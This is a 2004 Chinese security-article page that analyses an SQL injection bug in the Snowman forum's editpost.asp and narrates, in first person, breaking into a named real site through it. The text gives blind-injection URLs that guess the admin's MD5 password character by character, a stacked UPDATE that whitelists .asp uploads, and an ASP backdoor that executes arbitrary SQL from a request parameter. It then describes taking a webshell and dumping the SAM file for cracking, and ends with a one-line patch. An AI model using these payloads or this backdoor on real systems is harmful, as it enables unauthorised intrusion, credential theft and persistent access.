首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
雪人论坛的Sql Injection的漏洞分析
来源:vfocus.net 作者:safer 发布时间:2004-06-04  

雪人论坛的Sql Injection的漏洞分析


一、前言废话:

昨天, 上选修课时候看12月的黑客防线---产生了写个关于论坛漏洞分析的想法。可后来上网查找时发现比较出名的论坛都被各位前辈查的差不多了----郁闷中。这时1个朋友发来了个“修改得很漂亮的雪人论坛”。现在把发现这个漏洞,并利用这个漏洞入侵的全部经过写出来。大家有疑问请上 bbs.cnhack.cn 讨论。.

二、漏洞的发现过程:

脚本,又是脚本,我对这东西还是比较感兴趣的.有很长一段时间,没有去搞入侵了.因为公司事情忙,今天找到了一个官方BBS的网站,对他进行测试.首先,我打开了自己编写的扫描器,对网站进行扫描!端口出来了:21 80 1433 可以利用的就只有这么多!其实只要抓住
一个洞就行了,愿意老天给我一个洞吧!!FTP 是用的 SERVER_U 可以提升权限.不过现在没得到任何shell.1433 MSSQL 这个东西,入侵五花八门的招式都有. 冲击波过后,很少看到135。估计打了sp4了。

嗯,先试试FTP匿名可不可以进去.我运气一直不好,这次我也不例外,我没进去.哈哈让大家失望了!再来看1433 有没有弱口今,我扫ing!!!! 结果又让大家失望,也让我失望!!!!采用SQL的溢出都不成功,可能打了sp3 了的。问题是现在还没得SQL SP3 的溢出程序。放弃吗?呵呵,为什么要放弃,故事才刚刚开始啦!!!

现在只有看看他的网站脚本方面存不存在漏洞,网站上面只有一个论坛,其他什么都没有了.目前在网上是找不到这个论坛的漏洞资料,至少我不知道。可能是名气也只是一般般吧,和动网比起来可真是小巫见大巫啦.在他的论坛里面发现了有提供免费版下载的地方.网点开
了1433,推断出这个论坛应该有90%的机率用了MSSQL数据库.

呵呵,如果我让我找到一个SQL注入漏洞,哼,机会就大大的有了.来了,下载他的免费版看看!打开ASP源代码查找漏洞的同时,我喜欢点
支烟,不知道为什么,好像我已经习惯这种感觉了,找漏洞是离不开香烟D.要不就没有灵感了.枯燥的寻找漏洞的过程,真的很烦人。

雪人论坛的程序要求:Windows NT 主机 + Access/SQL Server2000 数据库,网上能下的都是 for Access的。首先下载了一个最新的SF2.0 for Access版本,然后打开所有类似与**.asp?id=**的asp代码查看.editpost.asp等文件.

我看完了13个ASP文件,一点收获都没有.但是我找漏洞不喜欢没有找完就放弃.那不是我的作法,我喜欢挑战.刚打开下一个ASP文件的时候,电话响了,女友打来的.叫我晚上陪他看电影.说《无间道III》 出来了,我个人比较喜欢看刘德华演的,那部《全职杀手》至今还历历在目咧!所以我很快答应了。晚上8:00老地方见!放下电话,还有两个小时,先分析代码吧,所以我又开始看代码了。找到了他过滤参数的一条语句,看了一下,这个[ChkSql]对提交的ID过滤了单引号.下面又是通过[IsNumeric]判断是不是数]。哇!这明显就完全的过滤了漏洞,可是,[editpost.asp]程序员误笔,差点没有让我笑出声来!过是过滤了,就是过过头了!

三、漏洞原理分析 :
err = false
postid = ChkSql(request("postid"))
if not IsNumeric(postidid) then '判断一对象是否为数字,返回布尔值 是/否
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ //这就是产生漏洞的语句了。。
'常理来说这样的设置应该是安全的,postidid只有是数字才可以通过.但这里程序员忽视了地方
'IsNumeric是对"postidid"做过滤,而真正要使用的却是"postid".所以这里的postid没做任何
'过滤,我们可以大胆的恶意查询数据库里的管理员密码了
err = true
else
StrSql = "select * from sf_post where postid = " & postid
Set rs2 = Conn.Execute(StrSql)
if rs2.bof or rs2.eof then
err = true
else
posttitle = rs2("title")
threadid = rs2("threadid")
userid = rs2("userid")
StrSql = "select * from sf_thread where visible = 1 and threadid = " & threadid
Set rs2 = Conn.Execute(StrSql)
if rs2.bof or rs2.eof then
error = true
else
threadtitle = rs2("title")
forumid = rs2("forumid")
open = rs2("open")
end if
end if
end if
delpost.asp|showthread.asp等文件均有此漏洞
但是他判断参数找错对像了!!哈,那就相当于没有判断是不是数字。一个小小的漏洞,找我抓住了。我们开工吧。又开工咯!

四、详解入侵过程 for access版
http://cnwill.com/editpost.asp?postid=513 or 0<>(select count(*) from sf_user)
查询是否有sf_user表
http://cnwill.com/editpost.asp?postid=513 and 0<>(select count(*) from sf_user where username<>'')
查询sf_user表里是否有username列
http://cnwill.com/editpost.asp?postid=513 and 0<>(select count(*) from sf_user where password<>'')
查询sf_user表里是否有password列

查询管理员密码
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where left(password,1)='C' and userid=1)
min(userid)是最小ID,也可以换成max(userid)最大ID. and userid=1,是更改管理员在sf_user表的ID号。left是重password列的左边猜密码,
right是重password列的右边猜密码,根据经验最好是左右开工,这样猜起来速度比较快!
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where left(password,2)='Cn' and userid=1)
依次猜下去(如果猜对的话,页面就可以正常实现)

猜管理员用户名长度
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where len(username)=8 and userid=1)

猜管理员密码长度
http://cnwill.com/editpost.asp?postid=513 and exists (select min(userid) from sf_user where len(password)=16 and userid=1)
密码用MD5加过密 一般是16位

猜出MD5加过密的密码后就放高速肉鸡上跑吧...就我上次看的三所大学人气极高的论坛的结果来说,很多人不注意密码的安全性。总有管理员
的密码能被很轻松的猜出来.

五、详解入侵过程 for mssql版

(1)对于上面扫描的结果,我相信系统管理员肯定不是SB.所以我相信XP_CMDSHELL已经DEL了。并且网站的安全性可能也比较高.也就
只有通过这个小小的漏洞,来进行我们的表演了。让我们来进行操作吧,
打开IE输入了:http://www.cnwill.com/bbs/po.asp?pxid=523 and 1=1返回正常,看来漏洞是真的存在了。下面的过程,让我苦了又苦.在下载的ACCESS库中,我找到了用户表, 看到用户表中有一个字段是用来区分是不是前台管理员的标实.
然后在他的网站上面我找到了一个管理员的ID号,测试一下吧.
http://www.cnwill.com/bbs/po.asp?pxid=523 and 0<>(select count(*) from xxx_user where username>0 and Flag=4 and userid=1)
IE返回,找不到xxx_user表.呵呵,看来,官方网站的人也不是SB.感觉来了,
后台管理路径可能也被改了。测试一下.果然,已经更改了。入侵路线全完被封所了.A计划失败了,我们采用B计划吧!
  (2)B计划就是我们只有采用跨库查询来爆出他的表名,然后继续注射!点上了一支烟,我相信这次一定会成功的拿到他真正的表名,因为以前采用跨库查询爆表名,每次都成功了的.两分钟之类,我得到了数据库中的所有库名,分析了一下,找出了其BBS采用的库名。然后我又对这个库中的表名进行爆破.工程量之大啊。想到了报表名的时候会用到单引号,对方过滤了单引号.采用SQL编码,我饶过了单引号.取得了第一个表名.xxx_yy_setsys。
  在我下载的库中存在一个xxx_setsys表名。比较了一下就多了一个yy。如果让你来猜想,他是不是所有的表名都加了一个yy呢?你一定会去测试一下,对,我也和你一样,我测试了一下.更改刚才测试漏洞的那条语句,我成功了。这次在IE中爆出了前台管理员的名字.呵呵,来看密码,爆出来了,MD5的。又一个MD5码。我不喜欢去爆力破解一个密码的。因为要花很长的时间,对于官方网站的管理员密码。我也不敢去用社会工程学猜解。所以我只要寻找其他道路了。
(3)FSO,这个你应该很熟悉了吧。论坛支持上传文件。不过发贴的时候,他判断了文件扩展名,我怎么把我的ASP木马给他上传进去呢?看他的ASP源代码怎么写的。分析出来了,他用一个表来保存上传文件的扩展名称.如果你上传的名称不在表中,那当然不能上传。看来,我们只有更改他的表中的记录了。默认可以上传的类型为:jpg,gif,rar,zip. 我选中了一个rar文件,我们把这个rar更改成为asp 就可以上传了。在用MSSQL的UPDATE语句的时候,我遇到了问题,更改他的记录的时候,要采用sql编码,因为存在单引号。这次我没有成功.在失败的同时,我很快想到了另一种办法!我去注册一个叫asp的用户名。然后用select语句取得这个用户名给他写入数据库中,就不会用到
单引号,哈!注册的时候说这个用户已经存在了,好吧,我取长点:aspXasp这次成功.我提交了以下语句:
http://www.cnwill.com/bbs/po.asp?pxid=523;update uploadfile set exefilename=substring((select username from xxx_yy_setsys where userid=74852),1,3) where ascii(substirng(exefilename,1,1))=114--
呵呵,没有返回任何错误,看来多半成功了,好,改变语句爆出他的设置,我亲爱的IE,我很爱你,哈哈,在IE中爆出了asp字样。证明我已经成功了。也不能高兴太早,因为故事才刚进入发展阶级,我得快点上传ASP木马,为了不让管理员发现,我要以最快的速度把设置更改过来.一切都在计划中进行着.我上传了木马,然后给他加了一个ASP文件在里面,直接执行一切的SQL语句!
 ....
cmd = trim(request("chou"))
if cmd <> "" then
conn.execute cmd
end if
我利用这个文件,把设置改了回来,把我注册的账号删除了。同时把马木copy到一个隐蔽的地方!然后为他的论坛把补丁打上,哎,就是删除两个字符,他过滤错参数了嘛。到止,B计划成功了. 好了,轻松了一下了。
(4)查看服务器信息,想办法提升自己的权限,得到系统管理员权限嘿,现在我们已经得到了一个WEBSHELL,我们先看能不能利用SERVER_U本地提升权限。哎,运气不好,没有写权限。改不了配置文件!MSSQL又打了SP3。开的服务也就这么多。嗯,先把他安装的程序看看,有什么东西。在程序目录里面,突然,一个程序文件夹让我的眼睛一亮,嘿嘿!!我发了PCANYWHERE目录。TNND,没有开5631。可能是以前安装过的。然后停了服务了。先不管看看有没有CIF文件再说!!查询*.cif文件。很快出来了,只有一个默认的。根本没有什么用。又是白费功夫了。不过我相信,会有办法得升权限的。先放一首歌来听听,清醒一下自己的思路吧!!OPEN MUSIC 《心口不一》节奏来了!!!点上一支烟,享
受吧!!!!再没有办法的同时,我下载了他的SAM文件。放到我的超级高速无敌的肉机上跑PASSWORD了。时间先快要到8点了.还得去陪女友看电影咧!OK,先放一下吧。我关了COMPUTER。
穿上外套,浪漫去了!!!朋友们,等会见!!!:)

六、漏洞补丁
在editpost.asp等文件中,把if not IsNumeric(postidid) then 这条语句替换成if not IsNumeric(postid) then
即可修补这个漏洞了。




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·MS07-014调试手记
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·小心我“DIR”溢出你!
·CVE-2010-4258漏洞分析
·Adobe Reader 'CoolType.dll' TT
·PHPBB<+2.0.10 漏洞说明
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·Ofstar和phpind论坛安全性分析
·Apache mod_ssl buffer over分析
·水晶论坛(WDB)安全性分析
·AIX捉虫记之invscoutd
·UPD论坛安全性分析
·windows溢出随笔
·庖丁解D,游刃有余--Discuz!免费
·Acrobat Reader5.1漏洞分析
·Win2k LDT漏洞初探
·PHPBB<+2.0.10 漏洞说明
·用Snort从原理上检测MS05-051攻
·分析ms locator vul
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved